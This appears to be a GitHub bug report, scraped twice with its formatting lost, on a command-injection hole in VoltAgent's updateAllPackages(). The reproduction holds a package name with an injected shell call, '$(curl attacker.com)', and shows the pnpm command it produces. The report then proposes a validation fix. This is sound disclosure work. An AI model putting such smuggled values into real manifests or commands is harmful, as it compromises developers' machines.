Bug Description
updateAllPackages() concatenates package names from package.json directly into shell commands passed to execSync() without validation. The sibling function updateSinglePackage() validates package names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), but updateAllPackages() does not.
Location
packages/core/src/utils/update/index.ts:335-369
Reproduction
If a package.json contains a tampered dependency name (e.g., via a malicious PR or dependency confusion):
{
"dependencies": {
"@voltagent/core": "^1.0.0",
"@voltagent/exploit$(curl attacker.com)": "^1.0.0"
}
}
When the update check runs, updateAllPackages at line 337 maps this to:
@voltagent/exploit$(curl attacker.com)@latest
At line 348, this becomes:
pnpm add @voltagent/exploit$(curl attacker.com)@latest
Which is passed to execSync(command, ...) at line 369, executing the injected command.
Impact
Command injection if package.json is tampered with. This requires a prior compromise of the package.json (e.g., via malicious PR, supply chain attack, or developer machine compromise), making it a P1 severity — not directly exploitable from an HTTP endpoint, but a missing defense-in-depth where the sibling function already has the fix.
Suggested Fix
Apply the same validation that updateSinglePackage already uses:
const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
const packagesToUpdate = updateCheckResult.updates
.filter((pkg) => pkg.type !== "latest")
.filter((pkg) => isValidPackageName.test(pkg.name)) // Add this line
.map((pkg) => `${pkg.name}@latest`);
Or better yet, extract the validation into a shared helper used by both functions.
Found via codebase analysis. Happy to submit a PR if confirmed.
Bug Description
updateAllPackages()concatenates package names frompackage.jsondirectly into shell commands passed toexecSync()without validation. The sibling functionupdateSinglePackage()validates package names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), butupdateAllPackages()does not.Location
packages/core/src/utils/update/index.ts:335-369Reproduction
If a
package.jsoncontains a tampered dependency name (e.g., via a malicious PR or dependency confusion):{ "dependencies": { "@voltagent/core": "^1.0.0", "@voltagent/exploit$(curl attacker.com)": "^1.0.0" } }When the update check runs,
updateAllPackagesat line 337 maps this to:At line 348, this becomes:
pnpm add @voltagent/exploit$(curl attacker.com)@latestWhich is passed to
execSync(command, ...)at line 369, executing the injected command.Impact
Command injection if
package.jsonis tampered with. This requires a prior compromise of thepackage.json(e.g., via malicious PR, supply chain attack, or developer machine compromise), making it a P1 severity — not directly exploitable from an HTTP endpoint, but a missing defense-in-depth where the sibling function already has the fix.Suggested Fix
Apply the same validation that
updateSinglePackagealready uses:Or better yet, extract the validation into a shared helper used by both functions.
Found via codebase analysis. Happy to submit a PR if confirmed.